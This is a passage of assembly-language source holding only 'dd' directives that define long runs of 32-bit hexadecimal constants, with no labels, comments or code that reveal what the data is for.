40BE1171h, 99232FE8h dd 8520E83Bh, 0E0A7AFCDh, 352454C0h, 3C8CA4D3h, 4700F9B8h dd 450BC6ADh, 0AB00C9EEh, 169F8323h, 0B8B7E2FDh, 77B0EDBh dd 90AF2D21h, 656151EFh, 0D804B077h, 0AC3AAD30h, 21463718h dd 0A09A0FBEh, 646DA4BAh, 0E76500DDh, 1FEF983Ah, 7A00EE2Fh dd 0C4BC1683h, 7D37DB8h, 80FF39C8h, 0F600AF6Dh, 7B2394D9h dd 213A2001h, 290BED59h, 316038B0h, 0B80CD678h, 118DD3DEh dd 6E750030h, 4DE777B7h, 463DB6Ch, 1244C08h, 6EECE920h dd 0FC5EB16Bh, 7D06F0A9h, 0B7292A2Fh, 0B450C858h, 0B56E9BC0h dd 0E4972177h, 0B7004591h, 47106E52h, 7A00F968h, 0AC55BAC7h dd 0C92EF6h, 1BF0442Fh, 32B8D854h, 27E18A18h, 63B168h dd 60B9F36h, 0DDF71086h, 3973E803h, 0A81E5CE7h, 16583E9h dd 47C72EF9h, 0E8AC096Ah, 0CC0539A0h, 160E1896h, 11BCB80h dd 0D560071Ah, 60B645A4h, 786DDD2h, 0CA589C00h, 341F7F8Ch dd 3B6F004Dh, 0AA15F108h, 910090C3h, 0D8B9B25Bh, 3C66B45Dh dd 1E1F380Eh, 4CD540ECh, 0BDBE51E8h, 1922ED3Ah, 0FC315A71h dd 0A77BC8E3h, 0B3621EEFh, 95400149h, 2055F50Fh, 82183578h dd 3C316F2Ch, 262EB8F3h, 19AB0204h, 808A0913h, 0BB885C21h dd 7F2CB4Ah, 422FBF6Bh, 0BD7D6092h, 660058B0h, 9DF95C0Bh dd 4805BAh, 0A974EC7Bh, 94F715B2h, 45F0C303h, 543EF0Fh dd 3ECB9C50h, 39801EBAh, 95494F00h, 0DCFC4559h, 667DBF00h dd 1F54E35Bh, 1FA7BA0h, 95BABB12h, 8C1529B7h, 41BFA538h dd 0E9FE3904h, 6C2ED00h, 4024C54Ah, 0E0C05B0Ch, 4C48014h dd 0CD4B9050h, 0E815E41h, 28A54208h, 4FBA470h, 0C79972D1h dd 71CFD0F4h, 6C743BCFh, 70D73102h, 0E0CB7363h, 0A886CC0Fh dd 7F9C8Ch, 485DAAF5h, 8FD90E22h, 10B35101h, 0B8309892h dd 744708E1h, 0B4FE89A1h, 0DF50D2F8h, 0A8FF0141h, 447D2565h dd 7426C014h, 1D064026h, 2D38CE61h, 0C0EAB008h, 7443FB20h dd 0B013E12h, 64ABD41Ch, 5080B4CAh, 4975ADDFh, 2D00EF5Ch dd 7A2C5A24h, 559EB3h, 98B6AE62h, 6F431CA3h, 5B93091Fh dd 2C790CD8h, 0A17200DDh, 9812CBC5h, 44FE06F7h, 317E5F58h dd 0FAEFB1BFh, 0DD71C0h, 302573A9h, 27C35CFEh, 0DCB5180Eh dd 4CF0F38Ah, 83A23EA1h, 0FB28806h, 0E80740F6h, 0FC9FD6E0h dd 3A022F70h, 33911EFDh, 47AD4103h, 1FF423h, 98E0D0D6h dd 411CA1C2h, 0A3F41610h, 0C6C21F00h, 5E38B4E7h, 0C8965493h dd 0C98900A5h, 0A00867F2h, 0FEE49B33h, 0E6D07F00h, 0A21C51B5h dd 3F3500E2h, 3B882A2Dh, 52245DF7h, 760354EBh, 0D9BE249Ah dd 4A0058A1h, 86004422h, 4509CA62h, 8B7821h, 0F9F50524h dd 5842A193h, 0B62A96E2h, 0A52A9099h, 5F00A8F3h, 16085982h dd 74C413Eh, 0D2B4342Bh, 0CD9B3031h, 0F00EFBEh, 3B632EAEh dd 73E2E0CAh, 71FCF2C1h, 537C3Ch, 0BAA3037Bh, 28DF5438h dd 23A63E1Dh, 47764Eh, 6C2B126Eh, 3A5C0311h, 63B5FF6Ah dd 0DAD43801h, 0AFE336FCh, 2658C1F0h, 0C3751D2h, 0D05898D7h dd 0FC89A200h, 2062AC60h, 417F0049h, 76903802h, 0C2F665B9h dd 344AF21Fh, 780300FFh, 483D22BDh, 0B8DC00E4h, 0DB7195D6h dd 0F0006682h, 0E0D970BCh, 157D40Ch, 0DFBD797Ch, 602D54EDh dd 0A2032464h, 0BC50A545h, 51800338h, 0F866E1C8h, 11E903Ah dd 108A743Ch, 209C78C5h, 38D8044h, 0D4B2C0DFh, 3E792116h dd 7B9A3200h, 5442B1BFh, 19466h, 0A99441D6h, 0EAECB9BAh dd 4BCD2100h, 290CCC6Ah, 7F4A1804h, 750DC8FFh, 8600F1E4h dd 35509AFAh, 7EB92h, 8F675E6Fh, 9F5C225h, 79CA3E0Fh, 71FE8726h dd 62806EB0h, 0A6AE3CD1h, 0FDB9926h, 0BB8008B5h, 0D4199792h dd 0E200CB78h, 830B2B49h, 7ED86h, 0E721E59h, 0E997E5B5h dd 0EAFE621Fh, 47606E03h, 3E507D7Fh, 0EB0072CBh, 0B98DD949h dd 20015C7Bh, 719FF754h, 9ADC1626h, 2F18C0D8h, 0E6E06587h dd 0FFBD050Fh, 58D3002Ch, 0A7078Ah, 7A8F9DDAh, 0CE71EE5Ch dd 0D1B07800h, 13A2C026h, 362BF87Ch, 0F8D8163Eh, 5180486h dd 0AE8E7C0Ch, 82D8C2E4h, 2503D343h, 0ED9E0F0h, 5C7D0060h dd 1396BE31h, 0DA286632h, 0A9008CD6h, 8C5C94Dh, 77730D8h dd 0E4FCD370h, 2B62D16Ah, 0F7AA3022h, 0ED05031Ch, 0C288995h dd 195421C9h, 7C0A108h, 0E9200D2h, 0A8A3462Ch, 6D0A26C0h dd 607053h, 761C327Dh, 0C8F3E60Ch, 2F8016A8h, 0ECB3F4F7h dd 190A005h, 72E3075Eh, 9170FAFDh, 82068733h, 0FE845679h dd 0FF7C9188h, 47FD8459h, 885E8983h, 0F1024CA7h, 7235310Ch dd 4D1048D5h, 40C8601Eh, 0D98DC93Fh, 48644828h, 0ED0FCF10h dd 10E348E6h, 30F1734Bh, 0AD385FA4h, 0C61F7F24h, 0D30143FEh dd 30170934h, 9AE28181h, 4720BBA7h, 1895218h, 7A39FE83h dd 8A34BFB1h, 1C5F0B59h, 45CA3301h, 7FD4C417h, 94BC5031h dd 25675889h, 91114F30h, 801EB118h, 157DDBBAh, 3ABC403Bh dd 8EF406C5h, 610FF5Ch, 0D2F2EA9Ah, 0D806206Bh, 6F86AD89h dd 0FE77B11h, 6D64BCC4h, 0D9127080h, 4D678C4Bh, 588E7369h dd 0F05031C1h, 2B300322h, 61B15291h, 0D7481860h, 4986AC32h dd 0FA1E9C2Fh, 82A68690h, 0D230103Bh, 8D44A158h, 8A2F2609h dd 0E21E3C1Fh, 8477D408h, 96008B3Bh, 954270B0h, 2A383E31h dd 736B00EBh, 3D8BAC2Dh, 3A48CA6Dh, 0A9B1F840h, 686B8234h dd 0F064032h, 32E3AE1Fh, 0B5C0AF19h, 4B3E860Ah, 1264486Dh dd 68233BF4h, 5412F504h, 0BC9F180Ah, 0D01E5F91h, 0C50A6B7h dd 5E406031h, 953F2D0Bh, 0DA2202B0h, 82384A42h, 6463DF70h dd 61E42810h, 3D77210Ch, 425F6F08h, 0E223651Fh, 0B101B404h dd 948D21h, 4C28E173h, 0C282812h, 49F924DDh, 0A21E808Ch dd 9C2CA6FAh, 0CB6EB507h, 0E343DAC6h, 242000DFh, 39F5FA7Ah dd 0A702ADF1h, 3D997485h, 5698401Bh, 1043002Eh, 9D1EA69Bh dd 5FF6FE71h, 0CBE23E1Ah, 2208F421h, 3BD0928Ch, 9A7F7F0Eh dd 0F00B0018h, 0D0885D44h, 60334BCEh, 508D2h, 4456AB21h dd 0CB2D520Bh, 37F2F415h, 0EF3B00E4h, 0F9C3A9E2h, 0DCCD008Ch dd 0AE86FA7Eh, 0B498315Ah, 13BD9640h, 1E31620h, 0D55FDC8h dd 0F8189E62h, 0D7820AC4h, 639CECC2h, 0F1202ADFh, 288900A8h dd 0ED20B710h, 0E901D641h, 93D3FC50h, 9FDC8F2Ch, 2C80068h dd 0A8207997h, 59007D8Dh, 0E8A46FC0h, 0EE012186h, 3D380049h dd 13D2A1BDh, 20EE361Dh, 842A4400h, 0D1F085E4h, 0B502DFFh dd 3ECF7C00h, 8D0156C0h, 3AC108E3h, 94F47DDAh, 0C9E538C3h dd 27737A00h, 0F9B6B92Bh, 57266601h, 0ADEE5A93h, 75F7AFF8h dd 0B1D3007Fh, 98AE1DE8h, 0E7004B96h, 2AC01E92h, 77F63BFh dd 31E97E59h, 572310DFh, 0FFF2B682h, 26A87B00h, 1291E67Fh dd 4B9D00D6h, 0BCE40D4Ch, 3000CCDEh, 0DFAE3A48h, 0CAC5E9h dd 5BD70FF9h, 9EC975E0h, 0E1262905h, 8601643Ch, 0B0397018h dd 54928D4h, 0D91D8FFFh, 7480C0D3h, 4D036A5Eh, 0C9050B0Eh dd 2EC7C08Ch, 2F6F0009h, 4024F35Bh, 0C100021Ch, 0E2344788h dd 6953D9h, 0E51DAF2Dh, 3E977265h, 0EBA23100h, 44C1FC6Fh dd 2AE20047h, 1BD389E7h, 8E00176Dh, 927BDE36h, 3EC335DBh dd 0A900C54Ah, 91211315h, 0A800C2BDh, 0B3A508Ch, 5F6B9ECh dd 0A0BF485Ch, 259C0C6h, 5058D96Eh, 0EBB5007Bh, 0F2C7E9B1h dd 0EACD1862h, 709730ECh, 25206300h, 211F527h, 166E05D6h dd 594E7Dh dd 99D5CEC4h, 0E7055B1Dh, 3B9DD771h, 4FF2BC07h, 8A36780h dd 0CE38C201h, 0FDC021A0h, 0CAF85BC4h, 4F49A700h, 0B1843E9Bh dd 0B29800A5h, 89E1B5F6h, 0B0010365h, 2ABC56A8h, 90DFD8C1h dd 0B2EE8Ch, 0C438A649h, 0A8C35134h, 0A9D04D24h, 84623C00h dd 0B2C4958h, 411C201Dh, 99E5080h, 0D6017832h, 79A26023h dd 47E889DDh, 22E40030h, 0AB5A9EECh, 0DF7BADCCh, 3DC24302h dd 0E0491BFAh, 4EC58FB5h, 5DEC7Dh, 7F2D2021h, 940D5B43h dd 2FDC007Fh, 0ACC9DDF9h, 48290A00h, 9E9786DBh, 940D00C3h dd 81241DB9h, 60002532h, 89231867h, 0AE5F24Dh, 0B20693EBh dd 3CB700BCh, 855448A6h, 1578381Eh, 0CBBC11C0h, 799F9295h dd 0B5B04Ah, 210B39A2h, 96055C48h, 2C0A7B00h, 63C6D7F6h dd 789912EBh, 0C09E17EDh, 75C8435h, 0E5F05D0Eh, 2F4CC0B8h dd 0E61D7732h, 0C08C00DAh, 0C408C379h, 0D1775824h, 2EAEFE18h dd 7C0A49D8h, 0F0F2003Eh, 0EB41F45Ah, 90ECCEA2h, 5B004E74h dd 0ACCC3DF6h, 24D58D31h, 10035FDh, 4B3697F7h, 0E330C452h dd 0CE0064FEh, 19B010AAh, 773292DCh, 0B97A3FA3h, 75E2A280h dd 0A64BB3D1h, 13B11100h, 16F327F6h, 0C32100D7h, 7B1DF167h dd 2600E052h, 68FE80B0h, 50425Dh, 0AD030E0Fh, 0F1AF3A76h dd 0E9004490h, 9EA994A8h, 0E8828A49h, 4C8D4836h, 41486200h dd 0AF5BC3ACh, 50A10B24h, 0BD7883B8h, 0B81EF9F5h, 0B30E18h dd 67837FBBh, 37F7343Ah, 265D2C01h, 2058EBEEh, 602EE8h dd 48FD0B18h, 567BF8EFh, 9CB66907h, 8C20724Ch, 7D6AB8EDh dd 96B40083h, 0DD4F5BBFh, 44005E78h, 0D2923E27h, 0DABAF5h dd 8A74AC50h, 290E6E56h, 0F001AD76h, 0E094BF66h, 0AD2024E4h dd 81060011h, 801BB092h, 0D000D68Bh, 0BBF819BCh, 0D2B454h dd 764EF27Dh, 0E5E7DA71h, 76218A3Fh, 5017D803h, 0F0C054F0h dd 64A2C2h, 6C1C7D2Ah, 0A3BC4F8h, 0B11FC0Ah, 0A900CCD1h dd 245ACDEBh, 91EA1467h, 6301EC3Ah, 1519FA85h, 4EA73079h dd 60C79416h, 2E83881Ch, 882A1B0Ah, 3D0C34h, 1AAB9904h dd 192CFBDAh, 1D0007E4h, 2E42C405h, 585A7851h, 0E503669Bh dd 9C88A11Eh, 1B6EDC8h, 0E697000h, 0B0243D83h, 0B9AC3BC3h dd 17B3C000h, 0A053FC92h, 6F386A00h, 25EB51D8h, 12180546h dd 1EB720DDh, 0C8E8C0F4h, 3496CEC7h, 0AC0E0538h, 0B38047Eh dd 0E5D4160h, 0C3082173h, 84DD4A0Ah, 42341085h, 0C15FC08Ch dd 141D1197h, 3680808Dh, 23449587h, 62670CE7h, 0F63085EBh dd 71D2B206h, 7078B37Bh, 0F3EC00D8h, 307C6361h, 6500E294h dd 0CE05EE27h, 647AB1h, 0C9D980C0h, 615B243Bh, 0BEC85900h dd 32B4CDAEh, 9A2F1E9Fh, 0F34B8020h, 9E757903h, 440900Eh dd 66258047h, 855AE6h, 0E3C3FDCh, 0A9B0B550h, 0CE97B300h dd 35EA116Dh, 0AD100034h, 0FB821FCDh, 313B7F50h, 1308874Fh dd 0A1A075D5h, 5328A8h, 0F994204Ah, 8F7CCD0Bh, 29D25B00h dd 243A071Bh, 0D9711DF3h, 1A301A6h, 0D052FE21h, 50038473h dd 6FA2C020h, 1E28002Dh, 0BE62ED85h, 0B200B372h, 20D9CB65h dd 3E83218h, 0A6B75094h, 7891629Bh, 0A3D4FCDDh, 17CDBA00h dd 0DC08F64Dh, 0F8EC069Ch, 6046FA25h, 0CE55A000h, 92ABD143h dd 54793BFDh, 24139700h, 4F70E139h, 0B0FEEA0Eh, 46B6472Dh dd 0C0998340h, 2D40F93h, 9FAE6061h, 0D6457920h, 0BF156273h dd 0F87C1Ch, 7AF926CBh, 1F789F1h, 0BEA11AA3h, 0F8FE5C88h dd 9000B62Ch, 337AB9D9h, 75F96DCDh, 4B7C0001h, 51297803h dd 0FA00C24Dh, 0E11123F3h, 902BABC4h, 5B410134h, 0B86E6D9Ah dd 0B549D407h, 0F37350FAh, 7F2C40F2h, 1F800C29h, 0CB06F485h dd 0F26C001Dh, 0A77E752Dh, 0B6000F56h, 0DC90D0BAh, 1229C58h dd 5C87936Fh, 0F5324D2Dh, 460CF0FCh, 838CDD0Fh, 160E006Ah dd 87A1CDh, 0A6453A94h, 0D4F0D210h, 90C01117h, 0F6CC6700h dd 24E74FC2h, 75CD856h, 10ECEB58h, 844C6E85h, 80245BE4h dd 15822CC4h, 0C88A27DFh, 791809DDh, 74B02Bh, 5D06B871h dd 9588B5E2h, 0B64810A0h, 60964100h, 0BD7F07C5h, 36540011h dd 78144D82h, 7A174F53h, 3C5F97BAh, 6180631Fh, 8FE4A5E3h dd 0E93D00D8h, 6BB104C4h, 0A9C36215h, 0EE290Dh, 895B630h dd 7896A431h, 0EF2ADCE9h, 6B0B7278h, 46E368h, 0CC3519CDh dd 1A5D0060h, 0DDD6C588h, 0CD50B8E9h, 0C3163C3Ch, 1000809Dh dd 611F3BBBh, 7C5A1EA8h, 0CE183F08h, 0E6341062h, 97BE9900h dd 15D9C2E4h, 69E901DBh, 38E32A9Ch, 8256FC57h, 30C049CAh dd 77EC003Eh, 391B92F9h, 9CCE006Ch, 4FD08B0Eh, 7C008932h dd 0DE3D1FCCh, 0E4F29Eh, 5D9D5550h, 0EB42EEBBh, 0B944FF00h dd 95C998D6h, 6FAA03A9h, 0E248D79Eh, 0F8CA1C98h, 0E02F380Ah dd 0B601A209h, 0FCC29652h, 193198CCh, 8A06B7Ch, 49D074ECh dd 0F4C28E00h, 0FCE23A04h, 1E4EAAAh, 0BD60DFAh, 8057B65Dh dd 5F8CA0C9h, 183225Ah, 8E8D61FFh, 0F0C0D787h, 606E79C5h dd 15486029h, 0C2DE35Ch, 4DBBED9Ch, 85608408h, 11307B20h dd 8C403A57h, 0C9FA00F2h, 62B17008h, 0A228D73Ch, 58DC98F5h dd 112B00A3h, 9BE5E331h, 2185E786h, 0A8155394h, 9563014Bh dd 2D039D1Dh, 5DE8D1CDh, 0CA442A69h, 94B650C4h, 0B5098C48h dd 8896FD99h, 0E364941Fh, 0C28D1C40h, 4E0093CEh, 0D2BB6E30h dd 188CBAA5h, 689F8105h, 68000A99h, 93CA1658h, 63C86CCDh dd 0C16A182Eh, 0D0A444EAh, 0C08C6231h, 284896C2h, 443C7BF6h dd 0C40B17E7h, 800524BEh, 97F54F65h, 6E320063h, 350E4534h dd 6A3FCB36h, 9178601Dh, 16CC3714h, 12962104h, 6FA000FFh dd 9A657987h, 380F5100h, 3436B278h, 32E70058h, 0EAC52380h dd 460054CAh, 8E76D56Ah, 3EB6B06h, 0AFF4D9D2h, 0AC001C4Dh dd 64D395A5h, 30A358Dh, 410893E5h, 0D1B84955h, 7679E8EDh dd 3197A10Bh, 478104A0h, 0F1FDCB80h, 0A62A1FC9h, 21602E1h dd 3D42DB59h, 9CF50417h, 0FA2E00CBh, 26124D89h, 9469A000h dd 104BF45Dh, 0D0E30F29h, 7900C30Dh, 4738605Ch, 1C6D242Eh dd 17064E17h, 0F200E85h, 935E848Fh, 611D2806h, 0AF3BE200h dd 0A12135BBh, 6B9019Ah, 602505F5h, 1BB3204Dh, 1A12A618h dd 3952231h, 929E5791h, 898B8EBBh, 0B9D00818h, 70CF20h dd 57A29C91h, 3217E027h, 3E3AA90Ch, 0A7D101h, 0EDB48178h dd 4A2E99A2h, 23AEC300h, 608A909Fh, 0A727313Fh, 0C40759E0h dd 370251E7h, 0E0EE9D85h, 12BB608Dh, 7391C0F7h, 930715EDh dd 8B85890Ch, 2A258981h, 28CD3CAh, 322D6584h, 0ACA0DACFh dd 943F4A15h, 3BDD5600h, 8BCD89B2h, 802B03B8h, 19059827h dd 312D6100h, 69704801h, 0E2DA1DE9h, 26EC0065h, 16727EACh dd 0B28FC501h, 0A969E5F1h, 0AFB8A6h, 389F1775h, 5E00D0EBh dd 737F0562h, 26B6D2A5h, 1EFB7A7Bh, 856EC1F2h, 80260A4Dh dd 0E4A38B71h, 670BECh, 3A8E4481h, 47CE7928h, 0D88A2500h dd 8372FF0Dh, 2ADF7559h, 0F2AC1E98h, 0E1956F85h, 15DB309h dd 4EE71337h, 0D72824h, 0AF315861h, 0D001BA37h, 0ABD92C00h dd 0E6825271h, 4098A8D1h, 693000CAh, 3B195403h, 6D541285h dd 1A60B7ACh, 41464371h, 210200F4h, 0B0507003h, 4400F175h dd 0C88AFE9Dh, 48D859CCh, 0CBC32805h, 410049A1h, 0CC2F500Dh dd 643353h, 0F6D08D80h, 93D6A754h, 0DA5E9603h, 2FB808h dd 0D206F131h, 9D4B5DD7h dd 0B4726900h, 10C0DF7Bh, 3C46009Fh, 0B2C8FE4Ah, 0C5509A8h dd 578DDC84h, 0B8E5FC00h, 1A5EC20Ah, 830600C6h, 45AF4CA0h dd 89746AF5h, 74DC1B24h, 3D913FC0h, 6E42109Eh, 9C868892h dd 8791C01Dh, 17A433CCh, 63E74B15h, 6CD400B4h, 7A12FE55h dd 1C380093h, 42062266h, 2F004B91h, 7787F6BFh, 0AB09830h dd 0D22C8445h, 7848B0h, 9395C719h, 1B00C590h, 62EDBAF1h dd 1466233Dh, 9D724FECh, 8D39EB00h, 29188994h, 5B0B8A04h dd 0A0908ECAh, 12DE937Bh, 938257Ah, 70222D6Ch, 54005CC2h dd 0F2DE2Bh, 57CBD925h, 0B1BD824Fh, 0EFD40C02h, 0A00D0617h dd 0E7851488h, 0CE5B000Eh, 423BEA8Fh, 0D1018ECFh, 6E45E16Bh dd 802468E6h, 0E3F80010h, 2716D4EDh, 8C12B06Ah, 783022E4h dd 0FD28976h, 87F42C18h, 47B33B02h, 3E161460h, 5CAF48h dd 0D525CEB7h, 0A93DB92h, 6A31B37h, 916260D0h, 18E59E5Ah dd 0E0E489D3h, 0CA035C91h, 71D164FFh, 8251F1E6h, 60951430h dd 2D874919h, 88A8C002h, 19C0210Ah, 0AB495F86h, 7D3F0169h dd 0BEBBC69Bh, 0A6F8DC93h, 54EF3409h, 0F3C004CEh, 0A010E549h dd 0E802DDA2h, 0D738A699h, 0B594A05Ch, 6DF86Ch, 9B634F1h dd 2493D831h, 9C9ED22Ah, 0DC912E2Ah, 741CA400h, 0E88045FCh dd 0E2C924Ch, 0AC8B4364h, 0A06C941Eh, 1C559216h, 529A0C0Ch dd 0DA372F89h, 0DE0449A8h, 1F10C8h, 0CA767829h, 45B1A0FCh dd 0C9D320B1h, 1F08C2DBh, 3FAD2C01h, 2426A18Dh, 86007C33h dd 0F15DDBDh, 0AD01B90Bh, 1ABB1891h, 46F80C1Eh, 16760C7Dh dd 2A95879h, 3BBC9D54h, 0A9303E30h, 99B827h, 548863D8h dd 6E47A5D6h, 499C4300h, 8EEF7671h, 32E78AAh, 0EDE870B0h dd 4900BF31h, 1785CCE2h, 2C63EAh, 454A79FCh, 4E73E6BDh dd 7DAE5502h, 856DED7Fh, 8C9382D1h, 0E15CE813h, 7D160648h dd 1814CC32h, 96825913h, 2FD5F801h, 0A84427C6h, 18E8B432h dd 0CB881D90h, 7D77020Fh, 0B0682C6h, 2C962848h, 3BD61000h dd 24789BA6h, 3609077h, 0FFB29416h, 413A4A03h, 1EC70366h dd 9BDCF42Fh, 1977E3h, 0A6C62D7Bh, 86865EAh, 81B1B530h dd 28AC99DBh, 70ECA9F9h, 0D5772256h, 58E45A3Ah, 4D340480h dd 3C8727EEh, 87CDC830h, 1EECE501h, 2657C76h, 0D576869h dd 1C488590h, 35066B29h, 0B5180E4Dh, 53890038h, 0C4C5381Ah dd 221C2890h, 48B07403h, 48CF7510h, 5F2CB4D0h, 6EBC0A99h dd 6C8A4318h, 9F5EE0CFh, 0E638F41h, 0D05D1FC0h, 0F44E36D8h dd 188D03B4h, 701E303Bh, 0F5310BD0h, 6524D172h, 2C007848h dd 2F404FE1h, 25DD0333h, 6A373A85h, 6D83DEE0h, 896168B0h dd 0DB8D3EB8h, 2194600h, 9C053928h, 0AA10E44h, 99720C45h dd 0E93D41E0h, 0E06E071h, 0A5DB33Fh, 101384D2h, 0CFA15400h dd 0B07C8B5h, 8C9DF1AEh, 21170086h, 0D3A85D00h, 496ED598h dd 0C7C6240Ch, 202E92B0h, 627C3E18h, 0F7869201h, 1801B37Ah dd 0C3DA9180h, 4D7104A1h, 0CF17AB03h, 7B93D932h, 4FE80039h dd 96463AB6h, 0C3400B27h, 941A007Dh, 57799B45h, 0A200BCEAh dd 484650E8h, 8D822Ch, 0B3CC0406h, 5C1F15BDh, 0EA9CB600h dd 34E0D617h, 0FB05004Fh, 875FDABEh, 0D007218h, 0D02AABEFh dd 1E76A9h, 9D811D4Ah, 5E2E37F2h, 501BC41Ch, 0B0906E8Ah dd 0E80C0E12h, 2C75A9C7h, 0C0445A0Dh, 2595DE46h, 8975D046h dd 0CCDEE59Dh, 2E001F9Ch, 813E256Bh, 0AB4B0A40h, 7E77C8BCh dd 88D1000Fh, 0B9824E08h, 1E711284h, 2C72AA81h, 0F08C1B00h dd 479F95DAh, 19C0C672h, 5091A192h, 40C901C1h, 5941EE2h dd 2C61859Bh, 3098A01Bh, 2E917D83h, 7100629Eh, 0BE91ECD9h dd 0E8C48C00h, 0DAC253DFh, 0D2142425h, 2DA60F74h, 87D0124Ah dd 10AE5C15h, 0A0EEC0E4h, 0ECE87402h, 970B8CE9h, 80C21194h dd 0B4DA55BEh, 68670447h, 987FD26Fh, 0CF087650h, 0C4DFC8DAh dd 8A4930h, 1AA02760h, 23290F71h, 0E25DC9FFh, 838AAB00h dd 213DB16Fh, 0C4E22Ah, 0ACCCBC2Fh, 12648242h, 0C82EBB05h dd 0CC83AF4Fh, 8C30CCA9h, 9E255891h, 6910998Ah, 916B8210h dd 7D8C153Bh, 0CED801Dh, 9FB8DD80h, 0B603A1Ah, 698F5221h dd 0C7771484h, 0D6D500B9h, 733DD194h, 93CC8E8h, 1D7FE5Ah dd 0EC7398Ch, 76B2CF8h, 0E5B9836Dh, 0E96E70D4h, 714AD51Ah dd 18C58000h, 9F600F82h, 8AE0DCE3h, 71B08366h, 9E455803h dd 780D33Dh, 1926DB78h, 38E3F5A9h, 14215820h, 50328569h dd 92E440A6h, 12D8C83Fh, 0D3A1B605h, 0D030C4BDh, 10B0CF94h dd 0C8B28FC8h, 0DF348021h, 0D8486DD3h, 0ACC74C03h, 0C0052E84h dd 1DBBB9h, 163BAD57h, 97ECE966h, 0DE5DD0Bh, 57E4302Ah dd 47950460h, 2520215Ch, 3A103488h, 541F5E7Fh, 7DD88903h dd 0DA184800h, 6092132Dh, 18DFEC81h, 8E91093Eh, 88313A9Ch dd 95D81081h, 22990291h, 866E2A9Fh, 26CD50E0h, 841A8A2h dd 0EB51859h, 829DCDEh, 2A66B010h, 0FCE500DEh, 73830733h dd 7094211Fh, 0B4878411h, 802532DEh, 9B109631h, 6300DEDBh dd 0EEB99CFDh, 2D90688h, 0A00BE96Bh, 0A472A5C1h, 9FC4A085h dd 0BCC15963h, 0F183208Ah, 536CCE02h, 526D41FBh, 0A0125658h dd 3B916102h, 0D031729Eh, 915C4310h, 16542000h, 0CD5FFEDh dd 122509C3h, 0C485BB4h, 7E7F83E5h, 0D93C7400h, 2BAB29AFh dd 34085C56h, 0AAC77A80h, 8305BD98h, 0FCC5D486h, 0C061B8D2h dd 1C3C1FAh, 52E7AD8Ah, 21A26FD9h, 45DDF4BCh, 0C53D50C0h dd 39DA5974h, 6802C154h, 0AD6C319Eh, 126BC88Fh, 91B2C606h dd 4C49A1E0h, 955B065Ch, 20209DA7h, 82150D56h, 838C3888h dd 99199F23h, 39A7AC18h, 998A6437h, 0B703E8DEh, 9939DB94h dd 843683D2h, 0DECFA202h, 2131FFC8h, 0D3DD8610h, 8106DF03h dd 0B81519A5h, 5ECE7D0h, 0C171217Eh, 0DB88C0CDh, 5C019DC6h dd 86335393h, 90210776h, 0D3B8182Ch, 40090B8Ch, 490310Eh dd 2F1C38EDh, 988063ECh, 1D90C2C7h, 0C50F0029h, 23AA2C6Bh dd 0E93BCF40h, 8A5C48E3h, 0E8808481h, 0C5A28A7Ch, 0E0CE5468h dd 15170C5Ah, 0C299990Ch, 0C342730Ch, 1E2110Fh, 0EF535A65h dd 60B69EE1h, 3AFEAFF9h, 8840E34Ah, 0A7F646B0h, 2C0A4865h dd 0E5EB0480h, 2C09AEF9h, 82DC2536h, 1A15586Ch, 0C829A801h dd 56B858A7h, 3FC48988h, 0B8807BD3h, 0CCC1CDFFh, 389A654Dh dd 67008A74h, 145E61Dh, 486465Ah, 47DA5FE9h, 54ECC09Eh dd 0C507CF87h, 0ADB306F4h, 93805334h, 0A3E485h, 8D5D7A8Ah dd 7DDA45DCh, 1100B0E8h, 53E86090h, 0FBC8407h, 314C2815h dd 10A29A09h, 0D0A06A13h, 1A0ED671h, 837AFE00h, 0BE3027B6h dd 2ED100C7h, 87B1868Dh, 0DB277759h, 82F420E8h, 75B05Bh dd 0C9F6AAA9h, 0B183D6FFh, 0F9E1DE00h, 981B1419h, 0C4CB30B4h dd 72FE5E71h, 23277A0Ah, 0AA00B216h, 0F32E10E0h, 3532003Ah dd 950750D9h, 1509C62Bh, 9DDEE86Eh, 8F6A11F0h, 0D8B7A06Eh dd 52548Bh, 8923241Ch, 2D84EC06h, 30EC5955h, 1022FBCh dd 4B3D9DA0h, 0E170C3BDh, 0B46045F3h, 0B5F420D2h, 0CB54D01Bh dd 0BAB8B898h, 9740C120h, 0C6B0A4CAh, 0B72DBC80h, 947199A3h dd 567C090Fh, 0A7C01DA0h, 1F5945B1h, 0A18914D4h, 94E020B6h dd 868EACh, 2F8648D7h, 0F827A0B5h, 0C1AB7100h, 53734C26h dd 87E82C8Fh, 0C4467630h, 5F82703Eh, 6C3B50C7h, 1F44C4D0h dd 0C52403BCh, 55488BAEh dd 0E47198D0h, 0CB4F9B06h, 0CBD093B4h, 201D0DD2h, 0A2809D91h dd 2412C526h, 0AF2665E2h, 92600C55h, 3E1BB0F6h, 2E25642Dh dd 31FBF420h, 3901E81Fh, 90C82B0Ch, 0E3E8B34Dh, 9C30303h dd 0FCCB0462h, 9E48B7ABh, 0E05046B0h, 5F3490h, 3813B0FAh dd 0B6365850h, 855E524h, 0A3C4D400h, 2E206DE0h, 939C7752h dd 348C017Ah, 0AC1FDA16h, 0CA00E028h, 0C2801AA1h, 900900FEh dd 0D4C09B28h, 29004B25h, 15034659h, 0E61A8Fh, 0E4CEEEA3h dd 93A52F8Ah, 0E2AE7828h, 61908B00h, 651280Ch, 23870FF2h dd 478E926Dh, 0A09B480h, 0C507E015h, 0B7DCCFD7h, 0D879DA50h dd 0CB400083h, 62F30855h, 54E81082h, 1B20C660h, 74F8548h dd 2DB71FB4h, 2BCE606Eh, 7800CB5Ch, 4614F032h, 16AA47Dh dd 55DD84D2h, 81D5EC94h, 0C813FA60h, 0F72008DCh, 49701DAFh dd 0D6250C1Ah, 7E007820h, 2E37E4C7h, 1612DC9h, 0EAD26BF0h dd 0F8813D13h, 28A447DCh, 0EEC80D0Dh, 28114808h, 0A007D758h dd 0B2E7C826h, 3F9E2E00h, 0F12A9C95h, 0ABFA3024h, 0BFB7D9D0h dd 0C47FD40Ch, 0A511C6h, 0B9CF987Ch, 0FCAAAE60h, 0A2082F63h dd 0B32000D7h, 0B89AC564h, 13008C62h, 6C042758h, 738AA5D2h dd 2684A1EDh, 0C0D92BF0h, 6466E1C0h, 90A0339Eh, 0A342B52Eh dd 2FF8AA03h, 4000F9E6h, 0A0A1C0D5h, 86061Fh, 58F0B7BEh dd 0D2BB572Dh, 4DBA8B01h, 0B391BC15h, 7AEB0D60h, 2F0300ABh dd 0D07A63E4h, 3800921Eh, 31523D7Ch, 5262018h, 95CC7621h dd 0EA988063h, 5F78A2B8h, 5DFC7300h, 9202A69Fh, 65F100ACh dd 0B7C76E08h, 5E00161Ah, 6396BE47h, 98298Bh, 58C41D05h dd 